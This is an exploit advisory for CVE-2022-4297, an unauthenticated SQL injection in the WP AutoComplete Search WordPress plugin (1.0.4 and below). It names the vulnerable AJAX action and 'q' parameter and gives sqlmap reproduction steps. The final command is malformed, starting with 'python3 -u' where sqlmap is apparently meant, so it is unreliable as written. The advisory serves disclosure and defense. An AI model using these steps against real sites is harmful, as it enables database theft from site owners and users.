Authored by Matin Nouriyan

WordPress WP AutoComplete Search plugin versions 1.0.4 and below suffer from a remote SQL injection vulnerability.

advisories | CVE-2022-4297

# Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi
# Date: 30/06/2023
# Exploit Author: Matin nouriyan (matitanium)
# Version: <= 1.0.4
# CVE: CVE-2022-4297
Vendor Homepage:
# Tested on: Kali linux


The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection


How to Reproduce this Vulnerability:

1. Install WP AutoComplete <= 1.0.4
2. WP AutoComplete <= 1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 5
4. Start sqlmap and exploit
5. python3 -u "[YourSearch]&Limit=1000&timestamp=1645253464&action=wi_get_search_results&security=[xxxx]" --random-agent --level=5 --risk=2 -p q